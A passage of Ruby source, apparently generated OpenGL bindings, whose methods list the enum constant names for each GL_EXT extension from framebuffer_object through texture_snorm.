'GL_STENCIL_INDEX16_EXT',
'GL_RENDERBUFFER_RED_SIZE_EXT',
'GL_RENDERBUFFER_GREEN_SIZE_EXT',
'GL_RENDERBUFFER_BLUE_SIZE_EXT',
'GL_RENDERBUFFER_ALPHA_SIZE_EXT',
'GL_RENDERBUFFER_DEPTH_SIZE_EXT',
'GL_RENDERBUFFER_STENCIL_SIZE_EXT',
]
end # self.get_ext_enum_GL_EXT_framebuffer_object
def self.get_ext_enum_GL_EXT_framebuffer_sRGB
[
'GL_FRAMEBUFFER_SRGB_EXT',
'GL_FRAMEBUFFER_SRGB_CAPABLE_EXT',
]
end # self.get_ext_enum_GL_EXT_framebuffer_sRGB
def self.get_ext_enum_GL_EXT_geometry_shader4
[
'GL_GEOMETRY_SHADER_EXT',
'GL_GEOMETRY_VERTICES_OUT_EXT',
'GL_GEOMETRY_INPUT_TYPE_EXT',
'GL_GEOMETRY_OUTPUT_TYPE_EXT',
'GL_MAX_GEOMETRY_TEXTURE_IMAGE_UNITS_EXT',
'GL_MAX_GEOMETRY_VARYING_COMPONENTS_EXT',
'GL_MAX_VERTEX_VARYING_COMPONENTS_EXT',
'GL_MAX_VARYING_COMPONENTS_EXT',
'GL_MAX_GEOMETRY_UNIFORM_COMPONENTS_EXT',
'GL_MAX_GEOMETRY_OUTPUT_VERTICES_EXT',
'GL_MAX_GEOMETRY_TOTAL_OUTPUT_COMPONENTS_EXT',
'GL_LINES_ADJACENCY_EXT',
'GL_LINE_STRIP_ADJACENCY_EXT',
'GL_TRIANGLES_ADJACENCY_EXT',
'GL_TRIANGLE_STRIP_ADJACENCY_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_LAYER_TARGETS_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_LAYER_COUNT_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_LAYERED_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER_EXT',
'GL_PROGRAM_POINT_SIZE_EXT',
]
end # self.get_ext_enum_GL_EXT_geometry_shader4
def self.get_ext_enum_GL_EXT_gpu_program_parameters
[
]
end # self.get_ext_enum_GL_EXT_gpu_program_parameters
def self.get_ext_enum_GL_EXT_gpu_shader4
[
'GL_VERTEX_ATTRIB_ARRAY_INTEGER_EXT',
'GL_SAMPLER_1D_ARRAY_EXT',
'GL_SAMPLER_2D_ARRAY_EXT',
'GL_SAMPLER_BUFFER_EXT',
'GL_SAMPLER_1D_ARRAY_SHADOW_EXT',
'GL_SAMPLER_2D_ARRAY_SHADOW_EXT',
'GL_SAMPLER_CUBE_SHADOW_EXT',
'GL_UNSIGNED_INT_VEC2_EXT',
'GL_UNSIGNED_INT_VEC3_EXT',
'GL_UNSIGNED_INT_VEC4_EXT',
'GL_INT_SAMPLER_1D_EXT',
'GL_INT_SAMPLER_2D_EXT',
'GL_INT_SAMPLER_3D_EXT',
'GL_INT_SAMPLER_CUBE_EXT',
'GL_INT_SAMPLER_2D_RECT_EXT',
'GL_INT_SAMPLER_1D_ARRAY_EXT',
'GL_INT_SAMPLER_2D_ARRAY_EXT',
'GL_INT_SAMPLER_BUFFER_EXT',
'GL_UNSIGNED_INT_SAMPLER_1D_EXT',
'GL_UNSIGNED_INT_SAMPLER_2D_EXT',
'GL_UNSIGNED_INT_SAMPLER_3D_EXT',
'GL_UNSIGNED_INT_SAMPLER_CUBE_EXT',
'GL_UNSIGNED_INT_SAMPLER_2D_RECT_EXT',
'GL_UNSIGNED_INT_SAMPLER_1D_ARRAY_EXT',
'GL_UNSIGNED_INT_SAMPLER_2D_ARRAY_EXT',
'GL_UNSIGNED_INT_SAMPLER_BUFFER_EXT',
'GL_MIN_PROGRAM_TEXEL_OFFSET_EXT',
'GL_MAX_PROGRAM_TEXEL_OFFSET_EXT',
]
end # self.get_ext_enum_GL_EXT_gpu_shader4
def self.get_ext_enum_GL_EXT_histogram
[
'GL_HISTOGRAM_EXT',
'GL_PROXY_HISTOGRAM_EXT',
'GL_HISTOGRAM_WIDTH_EXT',
'GL_HISTOGRAM_FORMAT_EXT',
'GL_HISTOGRAM_RED_SIZE_EXT',
'GL_HISTOGRAM_GREEN_SIZE_EXT',
'GL_HISTOGRAM_BLUE_SIZE_EXT',
'GL_HISTOGRAM_ALPHA_SIZE_EXT',
'GL_HISTOGRAM_LUMINANCE_SIZE_EXT',
'GL_HISTOGRAM_SINK_EXT',
'GL_MINMAX_EXT',
'GL_MINMAX_FORMAT_EXT',
'GL_MINMAX_SINK_EXT',
'GL_TABLE_TOO_LARGE_EXT',
]
end # self.get_ext_enum_GL_EXT_histogram
def self.get_ext_enum_GL_EXT_index_array_formats
[
'GL_IUI_V2F_EXT',
'GL_IUI_V3F_EXT',
'GL_IUI_N3F_V2F_EXT',
'GL_IUI_N3F_V3F_EXT',
'GL_T2F_IUI_V2F_EXT',
'GL_T2F_IUI_V3F_EXT',
'GL_T2F_IUI_N3F_V2F_EXT',
'GL_T2F_IUI_N3F_V3F_EXT',
]
end # self.get_ext_enum_GL_EXT_index_array_formats
def self.get_ext_enum_GL_EXT_index_func
[
'GL_INDEX_TEST_EXT',
'GL_INDEX_TEST_FUNC_EXT',
'GL_INDEX_TEST_REF_EXT',
]
end # self.get_ext_enum_GL_EXT_index_func
def self.get_ext_enum_GL_EXT_index_material
[
'GL_INDEX_MATERIAL_EXT',
'GL_INDEX_MATERIAL_PARAMETER_EXT',
'GL_INDEX_MATERIAL_FACE_EXT',
]
end # self.get_ext_enum_GL_EXT_index_material
def self.get_ext_enum_GL_EXT_index_texture
[
]
end # self.get_ext_enum_GL_EXT_index_texture
def self.get_ext_enum_GL_EXT_light_texture
[
'GL_FRAGMENT_MATERIAL_EXT',
'GL_FRAGMENT_NORMAL_EXT',
'GL_FRAGMENT_COLOR_EXT',
'GL_ATTENUATION_EXT',
'GL_SHADOW_ATTENUATION_EXT',
'GL_TEXTURE_APPLICATION_MODE_EXT',
'GL_TEXTURE_LIGHT_EXT',
'GL_TEXTURE_MATERIAL_FACE_EXT',
'GL_TEXTURE_MATERIAL_PARAMETER_EXT',
'GL_FRAGMENT_DEPTH_EXT',
]
end # self.get_ext_enum_GL_EXT_light_texture
def self.get_ext_enum_GL_EXT_misc_attribute
[
]
end # self.get_ext_enum_GL_EXT_misc_attribute
def self.get_ext_enum_GL_EXT_multi_draw_arrays
[
]
end # self.get_ext_enum_GL_EXT_multi_draw_arrays
def self.get_ext_enum_GL_EXT_multisample
[
'GL_MULTISAMPLE_EXT',
'GL_SAMPLE_ALPHA_TO_MASK_EXT',
'GL_SAMPLE_ALPHA_TO_ONE_EXT',
'GL_SAMPLE_MASK_EXT',
'GL_1PASS_EXT',
'GL_2PASS_0_EXT',
'GL_2PASS_1_EXT',
'GL_4PASS_0_EXT',
'GL_4PASS_1_EXT',
'GL_4PASS_2_EXT',
'GL_4PASS_3_EXT',
'GL_SAMPLE_BUFFERS_EXT',
'GL_SAMPLES_EXT',
'GL_SAMPLE_MASK_VALUE_EXT',
'GL_SAMPLE_MASK_INVERT_EXT',
'GL_SAMPLE_PATTERN_EXT',
'GL_MULTISAMPLE_BIT_EXT',
]
end # self.get_ext_enum_GL_EXT_multisample
def self.get_ext_enum_GL_EXT_packed_depth_stencil
[
'GL_DEPTH_STENCIL_EXT',
'GL_UNSIGNED_INT_24_8_EXT',
'GL_DEPTH24_STENCIL8_EXT',
'GL_TEXTURE_STENCIL_SIZE_EXT',
]
end # self.get_ext_enum_GL_EXT_packed_depth_stencil
def self.get_ext_enum_GL_EXT_packed_float
[
'GL_R11F_G11F_B10F_EXT',
'GL_UNSIGNED_INT_10F_11F_11F_REV_EXT',
'GL_RGBA_SIGNED_COMPONENTS_EXT',
]
end # self.get_ext_enum_GL_EXT_packed_float
def self.get_ext_enum_GL_EXT_packed_pixels
[
'GL_UNSIGNED_BYTE_3_3_2_EXT',
'GL_UNSIGNED_SHORT_4_4_4_4_EXT',
'GL_UNSIGNED_SHORT_5_5_5_1_EXT',
'GL_UNSIGNED_INT_8_8_8_8_EXT',
'GL_UNSIGNED_INT_10_10_10_2_EXT',
]
end # self.get_ext_enum_GL_EXT_packed_pixels
def self.get_ext_enum_GL_EXT_paletted_texture
[
'GL_COLOR_INDEX1_EXT',
'GL_COLOR_INDEX2_EXT',
'GL_COLOR_INDEX4_EXT',
'GL_COLOR_INDEX8_EXT',
'GL_COLOR_INDEX12_EXT',
'GL_COLOR_INDEX16_EXT',
'GL_TEXTURE_INDEX_SIZE_EXT',
]
end # self.get_ext_enum_GL_EXT_paletted_texture
def self.get_ext_enum_GL_EXT_pixel_buffer_object
[
'GL_PIXEL_PACK_BUFFER_EXT',
'GL_PIXEL_UNPACK_BUFFER_EXT',
'GL_PIXEL_PACK_BUFFER_BINDING_EXT',
'GL_PIXEL_UNPACK_BUFFER_BINDING_EXT',
]
end # self.get_ext_enum_GL_EXT_pixel_buffer_object
def self.get_ext_enum_GL_EXT_pixel_transform
[
'GL_PIXEL_TRANSFORM_2D_EXT',
'GL_PIXEL_MAG_FILTER_EXT',
'GL_PIXEL_MIN_FILTER_EXT',
'GL_PIXEL_CUBIC_WEIGHT_EXT',
'GL_CUBIC_EXT',
'GL_AVERAGE_EXT',
'GL_PIXEL_TRANSFORM_2D_STACK_DEPTH_EXT',
'GL_MAX_PIXEL_TRANSFORM_2D_STACK_DEPTH_EXT',
'GL_PIXEL_TRANSFORM_2D_MATRIX_EXT',
]
end # self.get_ext_enum_GL_EXT_pixel_transform
def self.get_ext_enum_GL_EXT_pixel_transform_color_table
[
]
end # self.get_ext_enum_GL_EXT_pixel_transform_color_table
def self.get_ext_enum_GL_EXT_point_parameters
[
'GL_POINT_SIZE_MIN_EXT',
'GL_POINT_SIZE_MAX_EXT',
'GL_POINT_FADE_THRESHOLD_SIZE_EXT',
'GL_DISTANCE_ATTENUATION_EXT',
]
end # self.get_ext_enum_GL_EXT_point_parameters
def self.get_ext_enum_GL_EXT_polygon_offset
[
'GL_POLYGON_OFFSET_EXT',
'GL_POLYGON_OFFSET_FACTOR_EXT',
'GL_POLYGON_OFFSET_BIAS_EXT',
]
end # self.get_ext_enum_GL_EXT_polygon_offset
def self.get_ext_enum_GL_EXT_polygon_offset_clamp
[
'GL_POLYGON_OFFSET_CLAMP_EXT',
]
end # self.get_ext_enum_GL_EXT_polygon_offset_clamp
def self.get_ext_enum_GL_EXT_post_depth_coverage
[
]
end # self.get_ext_enum_GL_EXT_post_depth_coverage
def self.get_ext_enum_GL_EXT_provoking_vertex
[
'GL_QUADS_FOLLOW_PROVOKING_VERTEX_CONVENTION_EXT',
'GL_FIRST_VERTEX_CONVENTION_EXT',
'GL_LAST_VERTEX_CONVENTION_EXT',
'GL_PROVOKING_VERTEX_EXT',
]
end # self.get_ext_enum_GL_EXT_provoking_vertex
def self.get_ext_enum_GL_EXT_raster_multisample
[
'GL_RASTER_MULTISAMPLE_EXT',
'GL_RASTER_SAMPLES_EXT',
'GL_MAX_RASTER_SAMPLES_EXT',
'GL_RASTER_FIXED_SAMPLE_LOCATIONS_EXT',
'GL_MULTISAMPLE_RASTERIZATION_ALLOWED_EXT',
'GL_EFFECTIVE_RASTER_SAMPLES_EXT',
]
end # self.get_ext_enum_GL_EXT_raster_multisample
def self.get_ext_enum_GL_EXT_rescale_normal
[
'GL_RESCALE_NORMAL_EXT',
]
end # self.get_ext_enum_GL_EXT_rescale_normal
def self.get_ext_enum_GL_EXT_secondary_color
[
'GL_COLOR_SUM_EXT',
'GL_CURRENT_SECONDARY_COLOR_EXT',
'GL_SECONDARY_COLOR_ARRAY_SIZE_EXT',
'GL_SECONDARY_COLOR_ARRAY_TYPE_EXT',
'GL_SECONDARY_COLOR_ARRAY_STRIDE_EXT',
'GL_SECONDARY_COLOR_ARRAY_POINTER_EXT',
'GL_SECONDARY_COLOR_ARRAY_EXT',
]
end # self.get_ext_enum_GL_EXT_secondary_color
def self.get_ext_enum_GL_EXT_separate_shader_objects
[
'GL_ACTIVE_PROGRAM_EXT',
'GL_VERTEX_SHADER_BIT_EXT',
'GL_FRAGMENT_SHADER_BIT_EXT',
'GL_ALL_SHADER_BITS_EXT',
'GL_PROGRAM_SEPARABLE_EXT',
'GL_PROGRAM_PIPELINE_BINDING_EXT',
]
end # self.get_ext_enum_GL_EXT_separate_shader_objects
def self.get_ext_enum_GL_EXT_separate_specular_color
[
'GL_LIGHT_MODEL_COLOR_CONTROL_EXT',
'GL_SINGLE_COLOR_EXT',
'GL_SEPARATE_SPECULAR_COLOR_EXT',
]
end # self.get_ext_enum_GL_EXT_separate_specular_color
def self.get_ext_enum_GL_EXT_shader_image_load_formatted
[
]
end # self.get_ext_enum_GL_EXT_shader_image_load_formatted
def self.get_ext_enum_GL_EXT_shader_image_load_store
[
'GL_MAX_IMAGE_UNITS_EXT',
'GL_MAX_COMBINED_IMAGE_UNITS_AND_FRAGMENT_OUTPUTS_EXT',
'GL_IMAGE_BINDING_NAME_EXT',
'GL_IMAGE_BINDING_LEVEL_EXT',
'GL_IMAGE_BINDING_LAYERED_EXT',
'GL_IMAGE_BINDING_LAYER_EXT',
'GL_IMAGE_BINDING_ACCESS_EXT',
'GL_IMAGE_1D_EXT',
'GL_IMAGE_2D_EXT',
'GL_IMAGE_3D_EXT',
'GL_IMAGE_2D_RECT_EXT',
'GL_IMAGE_CUBE_EXT',
'GL_IMAGE_BUFFER_EXT',
'GL_IMAGE_1D_ARRAY_EXT',
'GL_IMAGE_2D_ARRAY_EXT',
'GL_IMAGE_CUBE_MAP_ARRAY_EXT',
'GL_IMAGE_2D_MULTISAMPLE_EXT',
'GL_IMAGE_2D_MULTISAMPLE_ARRAY_EXT',
'GL_INT_IMAGE_1D_EXT',
'GL_INT_IMAGE_2D_EXT',
'GL_INT_IMAGE_3D_EXT',
'GL_INT_IMAGE_2D_RECT_EXT',
'GL_INT_IMAGE_CUBE_EXT',
'GL_INT_IMAGE_BUFFER_EXT',
'GL_INT_IMAGE_1D_ARRAY_EXT',
'GL_INT_IMAGE_2D_ARRAY_EXT',
'GL_INT_IMAGE_CUBE_MAP_ARRAY_EXT',
'GL_INT_IMAGE_2D_MULTISAMPLE_EXT',
'GL_INT_IMAGE_2D_MULTISAMPLE_ARRAY_EXT',
'GL_UNSIGNED_INT_IMAGE_1D_EXT',
'GL_UNSIGNED_INT_IMAGE_2D_EXT',
'GL_UNSIGNED_INT_IMAGE_3D_EXT',
'GL_UNSIGNED_INT_IMAGE_2D_RECT_EXT',
'GL_UNSIGNED_INT_IMAGE_CUBE_EXT',
'GL_UNSIGNED_INT_IMAGE_BUFFER_EXT',
'GL_UNSIGNED_INT_IMAGE_1D_ARRAY_EXT',
'GL_UNSIGNED_INT_IMAGE_2D_ARRAY_EXT',
'GL_UNSIGNED_INT_IMAGE_CUBE_MAP_ARRAY_EXT',
'GL_UNSIGNED_INT_IMAGE_2D_MULTISAMPLE_EXT',
'GL_UNSIGNED_INT_IMAGE_2D_MULTISAMPLE_ARRAY_EXT',
'GL_MAX_IMAGE_SAMPLES_EXT',
'GL_IMAGE_BINDING_FORMAT_EXT',
'GL_VERTEX_ATTRIB_ARRAY_BARRIER_BIT_EXT',
'GL_ELEMENT_ARRAY_BARRIER_BIT_EXT',
'GL_UNIFORM_BARRIER_BIT_EXT',
'GL_TEXTURE_FETCH_BARRIER_BIT_EXT',
'GL_SHADER_IMAGE_ACCESS_BARRIER_BIT_EXT',
'GL_COMMAND_BARRIER_BIT_EXT',
'GL_PIXEL_BUFFER_BARRIER_BIT_EXT',
'GL_TEXTURE_UPDATE_BARRIER_BIT_EXT',
'GL_BUFFER_UPDATE_BARRIER_BIT_EXT',
'GL_FRAMEBUFFER_BARRIER_BIT_EXT',
'GL_TRANSFORM_FEEDBACK_BARRIER_BIT_EXT',
'GL_ATOMIC_COUNTER_BARRIER_BIT_EXT',
'GL_ALL_BARRIER_BITS_EXT',
]
end # self.get_ext_enum_GL_EXT_shader_image_load_store
def self.get_ext_enum_GL_EXT_shader_integer_mix
[
]
end # self.get_ext_enum_GL_EXT_shader_integer_mix
def self.get_ext_enum_GL_EXT_shadow_funcs
[
]
end # self.get_ext_enum_GL_EXT_shadow_funcs
def self.get_ext_enum_GL_EXT_shared_texture_palette
[
'GL_SHARED_TEXTURE_PALETTE_EXT',
]
end # self.get_ext_enum_GL_EXT_shared_texture_palette
def self.get_ext_enum_GL_EXT_sparse_texture2
[
]
end # self.get_ext_enum_GL_EXT_sparse_texture2
def self.get_ext_enum_GL_EXT_stencil_clear_tag
[
'GL_STENCIL_TAG_BITS_EXT',
'GL_STENCIL_CLEAR_TAG_VALUE_EXT',
]
end # self.get_ext_enum_GL_EXT_stencil_clear_tag
def self.get_ext_enum_GL_EXT_stencil_two_side
[
'GL_STENCIL_TEST_TWO_SIDE_EXT',
'GL_ACTIVE_STENCIL_FACE_EXT',
]
end # self.get_ext_enum_GL_EXT_stencil_two_side
def self.get_ext_enum_GL_EXT_stencil_wrap
[
'GL_INCR_WRAP_EXT',
'GL_DECR_WRAP_EXT',
]
end # self.get_ext_enum_GL_EXT_stencil_wrap
def self.get_ext_enum_GL_EXT_subtexture
[
]
end # self.get_ext_enum_GL_EXT_subtexture
def self.get_ext_enum_GL_EXT_texture
[
'GL_ALPHA4_EXT',
'GL_ALPHA8_EXT',
'GL_ALPHA12_EXT',
'GL_ALPHA16_EXT',
'GL_LUMINANCE4_EXT',
'GL_LUMINANCE8_EXT',
'GL_LUMINANCE12_EXT',
'GL_LUMINANCE16_EXT',
'GL_LUMINANCE4_ALPHA4_EXT',
'GL_LUMINANCE6_ALPHA2_EXT',
'GL_LUMINANCE8_ALPHA8_EXT',
'GL_LUMINANCE12_ALPHA4_EXT',
'GL_LUMINANCE12_ALPHA12_EXT',
'GL_LUMINANCE16_ALPHA16_EXT',
'GL_INTENSITY_EXT',
'GL_INTENSITY4_EXT',
'GL_INTENSITY8_EXT',
'GL_INTENSITY12_EXT',
'GL_INTENSITY16_EXT',
'GL_RGB2_EXT',
'GL_RGB4_EXT',
'GL_RGB5_EXT',
'GL_RGB8_EXT',
'GL_RGB10_EXT',
'GL_RGB12_EXT',
'GL_RGB16_EXT',
'GL_RGBA2_EXT',
'GL_RGBA4_EXT',
'GL_RGB5_A1_EXT',
'GL_RGBA8_EXT',
'GL_RGB10_A2_EXT',
'GL_RGBA12_EXT',
'GL_RGBA16_EXT',
'GL_TEXTURE_RED_SIZE_EXT',
'GL_TEXTURE_GREEN_SIZE_EXT',
'GL_TEXTURE_BLUE_SIZE_EXT',
'GL_TEXTURE_ALPHA_SIZE_EXT',
'GL_TEXTURE_LUMINANCE_SIZE_EXT',
'GL_TEXTURE_INTENSITY_SIZE_EXT',
'GL_REPLACE_EXT',
'GL_PROXY_TEXTURE_1D_EXT',
'GL_PROXY_TEXTURE_2D_EXT',
'GL_TEXTURE_TOO_LARGE_EXT',
]
end # self.get_ext_enum_GL_EXT_texture
def self.get_ext_enum_GL_EXT_texture3D
[
'GL_PACK_SKIP_IMAGES_EXT',
'GL_PACK_IMAGE_HEIGHT_EXT',
'GL_UNPACK_SKIP_IMAGES_EXT',
'GL_UNPACK_IMAGE_HEIGHT_EXT',
'GL_TEXTURE_3D_EXT',
'GL_PROXY_TEXTURE_3D_EXT',
'GL_TEXTURE_DEPTH_EXT',
'GL_TEXTURE_WRAP_R_EXT',
'GL_MAX_3D_TEXTURE_SIZE_EXT',
]
end # self.get_ext_enum_GL_EXT_texture3D
def self.get_ext_enum_GL_EXT_texture_array
[
'GL_TEXTURE_1D_ARRAY_EXT',
'GL_PROXY_TEXTURE_1D_ARRAY_EXT',
'GL_TEXTURE_2D_ARRAY_EXT',
'GL_PROXY_TEXTURE_2D_ARRAY_EXT',
'GL_TEXTURE_BINDING_1D_ARRAY_EXT',
'GL_TEXTURE_BINDING_2D_ARRAY_EXT',
'GL_MAX_ARRAY_TEXTURE_LAYERS_EXT',
'GL_COMPARE_REF_DEPTH_TO_TEXTURE_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_array
def self.get_ext_enum_GL_EXT_texture_buffer_object
[
'GL_TEXTURE_BUFFER_EXT',
'GL_MAX_TEXTURE_BUFFER_SIZE_EXT',
'GL_TEXTURE_BINDING_BUFFER_EXT',
'GL_TEXTURE_BUFFER_DATA_STORE_BINDING_EXT',
'GL_TEXTURE_BUFFER_FORMAT_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_buffer_object
def self.get_ext_enum_GL_EXT_texture_compression_latc
[
'GL_COMPRESSED_LUMINANCE_LATC1_EXT',
'GL_COMPRESSED_SIGNED_LUMINANCE_LATC1_EXT',
'GL_COMPRESSED_LUMINANCE_ALPHA_LATC2_EXT',
'GL_COMPRESSED_SIGNED_LUMINANCE_ALPHA_LATC2_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_compression_latc
def self.get_ext_enum_GL_EXT_texture_compression_rgtc
[
'GL_COMPRESSED_RED_RGTC1_EXT',
'GL_COMPRESSED_SIGNED_RED_RGTC1_EXT',
'GL_COMPRESSED_RED_GREEN_RGTC2_EXT',
'GL_COMPRESSED_SIGNED_RED_GREEN_RGTC2_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_compression_rgtc
def self.get_ext_enum_GL_EXT_texture_compression_s3tc
[
'GL_COMPRESSED_RGB_S3TC_DXT1_EXT',
'GL_COMPRESSED_RGBA_S3TC_DXT1_EXT',
'GL_COMPRESSED_RGBA_S3TC_DXT3_EXT',
'GL_COMPRESSED_RGBA_S3TC_DXT5_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_compression_s3tc
def self.get_ext_enum_GL_EXT_texture_cube_map
[
'GL_NORMAL_MAP_EXT',
'GL_REFLECTION_MAP_EXT',
'GL_TEXTURE_CUBE_MAP_EXT',
'GL_TEXTURE_BINDING_CUBE_MAP_EXT',
'GL_TEXTURE_CUBE_MAP_POSITIVE_X_EXT',
'GL_TEXTURE_CUBE_MAP_NEGATIVE_X_EXT',
'GL_TEXTURE_CUBE_MAP_POSITIVE_Y_EXT',
'GL_TEXTURE_CUBE_MAP_NEGATIVE_Y_EXT',
'GL_TEXTURE_CUBE_MAP_POSITIVE_Z_EXT',
'GL_TEXTURE_CUBE_MAP_NEGATIVE_Z_EXT',
'GL_PROXY_TEXTURE_CUBE_MAP_EXT',
'GL_MAX_CUBE_MAP_TEXTURE_SIZE_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_cube_map
def self.get_ext_enum_GL_EXT_texture_env_add
[
]
end # self.get_ext_enum_GL_EXT_texture_env_add
def self.get_ext_enum_GL_EXT_texture_env_combine
[
'GL_COMBINE_EXT',
'GL_COMBINE_RGB_EXT',
'GL_COMBINE_ALPHA_EXT',
'GL_RGB_SCALE_EXT',
'GL_ADD_SIGNED_EXT',
'GL_INTERPOLATE_EXT',
'GL_CONSTANT_EXT',
'GL_PRIMARY_COLOR_EXT',
'GL_PREVIOUS_EXT',
'GL_SOURCE0_RGB_EXT',
'GL_SOURCE1_RGB_EXT',
'GL_SOURCE2_RGB_EXT',
'GL_SOURCE0_ALPHA_EXT',
'GL_SOURCE1_ALPHA_EXT',
'GL_SOURCE2_ALPHA_EXT',
'GL_OPERAND0_RGB_EXT',
'GL_OPERAND1_RGB_EXT',
'GL_OPERAND2_RGB_EXT',
'GL_OPERAND0_ALPHA_EXT',
'GL_OPERAND1_ALPHA_EXT',
'GL_OPERAND2_ALPHA_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_env_combine
def self.get_ext_enum_GL_EXT_texture_env_dot3
[
'GL_DOT3_RGB_EXT',
'GL_DOT3_RGBA_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_env_dot3
def self.get_ext_enum_GL_EXT_texture_filter_anisotropic
[
'GL_TEXTURE_MAX_ANISOTROPY_EXT',
'GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_filter_anisotropic
def self.get_ext_enum_GL_EXT_texture_filter_minmax
[
'GL_RASTER_MULTISAMPLE_EXT',
'GL_RASTER_SAMPLES_EXT',
'GL_MAX_RASTER_SAMPLES_EXT',
'GL_RASTER_FIXED_SAMPLE_LOCATIONS_EXT',
'GL_MULTISAMPLE_RASTERIZATION_ALLOWED_EXT',
'GL_EFFECTIVE_RASTER_SAMPLES_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_filter_minmax
def self.get_ext_enum_GL_EXT_texture_integer
[
'GL_RGBA32UI_EXT',
'GL_RGB32UI_EXT',
'GL_ALPHA32UI_EXT',
'GL_INTENSITY32UI_EXT',
'GL_LUMINANCE32UI_EXT',
'GL_LUMINANCE_ALPHA32UI_EXT',
'GL_RGBA16UI_EXT',
'GL_RGB16UI_EXT',
'GL_ALPHA16UI_EXT',
'GL_INTENSITY16UI_EXT',
'GL_LUMINANCE16UI_EXT',
'GL_LUMINANCE_ALPHA16UI_EXT',
'GL_RGBA8UI_EXT',
'GL_RGB8UI_EXT',
'GL_ALPHA8UI_EXT',
'GL_INTENSITY8UI_EXT',
'GL_LUMINANCE8UI_EXT',
'GL_LUMINANCE_ALPHA8UI_EXT',
'GL_RGBA32I_EXT',
'GL_RGB32I_EXT',
'GL_ALPHA32I_EXT',
'GL_INTENSITY32I_EXT',
'GL_LUMINANCE32I_EXT',
'GL_LUMINANCE_ALPHA32I_EXT',
'GL_RGBA16I_EXT',
'GL_RGB16I_EXT',
'GL_ALPHA16I_EXT',
'GL_INTENSITY16I_EXT',
'GL_LUMINANCE16I_EXT',
'GL_LUMINANCE_ALPHA16I_EXT',
'GL_RGBA8I_EXT',
'GL_RGB8I_EXT',
'GL_ALPHA8I_EXT',
'GL_INTENSITY8I_EXT',
'GL_LUMINANCE8I_EXT',
'GL_LUMINANCE_ALPHA8I_EXT',
'GL_RED_INTEGER_EXT',
'GL_GREEN_INTEGER_EXT',
'GL_BLUE_INTEGER_EXT',
'GL_ALPHA_INTEGER_EXT',
'GL_RGB_INTEGER_EXT',
'GL_RGBA_INTEGER_EXT',
'GL_BGR_INTEGER_EXT',
'GL_BGRA_INTEGER_EXT',
'GL_LUMINANCE_INTEGER_EXT',
'GL_LUMINANCE_ALPHA_INTEGER_EXT',
'GL_RGBA_INTEGER_MODE_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_integer
def self.get_ext_enum_GL_EXT_texture_lod_bias
[
'GL_MAX_TEXTURE_LOD_BIAS_EXT',
'GL_TEXTURE_FILTER_CONTROL_EXT',
'GL_TEXTURE_LOD_BIAS_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_lod_bias
def self.get_ext_enum_GL_EXT_texture_mirror_clamp
[
'GL_MIRROR_CLAMP_EXT',
'GL_MIRROR_CLAMP_TO_EDGE_EXT',
'GL_MIRROR_CLAMP_TO_BORDER_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_mirror_clamp
def self.get_ext_enum_GL_EXT_texture_object
[
'GL_TEXTURE_PRIORITY_EXT',
'GL_TEXTURE_RESIDENT_EXT',
'GL_TEXTURE_1D_BINDING_EXT',
'GL_TEXTURE_2D_BINDING_EXT',
'GL_TEXTURE_3D_BINDING_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_object
def self.get_ext_enum_GL_EXT_texture_perturb_normal
[
'GL_PERTURB_EXT',
'GL_TEXTURE_NORMAL_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_perturb_normal
def self.get_ext_enum_GL_EXT_texture_sRGB
[
'GL_SRGB_EXT',
'GL_SRGB8_EXT',
'GL_SRGB_ALPHA_EXT',
'GL_SRGB8_ALPHA8_EXT',
'GL_SLUMINANCE_ALPHA_EXT',
'GL_SLUMINANCE8_ALPHA8_EXT',
'GL_SLUMINANCE_EXT',
'GL_SLUMINANCE8_EXT',
'GL_COMPRESSED_SRGB_EXT',
'GL_COMPRESSED_SRGB_ALPHA_EXT',
'GL_COMPRESSED_SLUMINANCE_EXT',
'GL_COMPRESSED_SLUMINANCE_ALPHA_EXT',
'GL_COMPRESSED_SRGB_S3TC_DXT1_EXT',
'GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT1_EXT',
'GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT3_EXT',
'GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT5_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_sRGB
def self.get_ext_enum_GL_EXT_texture_sRGB_decode
[
'GL_TEXTURE_SRGB_DECODE_EXT',
'GL_DECODE_EXT',
'GL_SKIP_DECODE_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_sRGB_decode
def self.get_ext_enum_GL_EXT_texture_shared_exponent
[
'GL_RGB9_E5_EXT',
'GL_UNSIGNED_INT_5_9_9_9_REV_EXT',
'GL_TEXTURE_SHARED_SIZE_EXT',
]
end # self.get_ext_enum_GL_EXT_texture_shared_exponent
def self.get_ext_enum_GL_EXT_texture_snorm
[
'GL_ALPHA_SNORM',
'GL_LUMINANCE_SNORM',
'GL_LUMINANCE_ALPHA_SNORM',
'GL_INTENSITY_SNORM',
'GL_ALPHA8_SNORM',
'GL_LUMINANCE8_SNORM',
'GL_LUMINANCE8_ALPHA8_SNORM',
'GL_INTENSITY8_SNORM',
'GL_ALPHA16_SNORM',
'GL_LUMINANCE16_SNORM',
'GL_LUMINANCE16_ALPHA16_SNORM',
'GL_INTENSITY16_SNORM',
'GL_RED_SNORM',
'GL_RG_SNORM',
'GL_RGB_SNORM',
'GL_RGBA_SNORM',
'GL_R8_SNORM',
'GL_RG8_SNORM',
'GL_RGB8_SNORM',
'GL_RGBA8_SNORM',
'GL_R16_SNORM',
'GL_RG16_SNORM',
'GL_RGB16_SNORM',
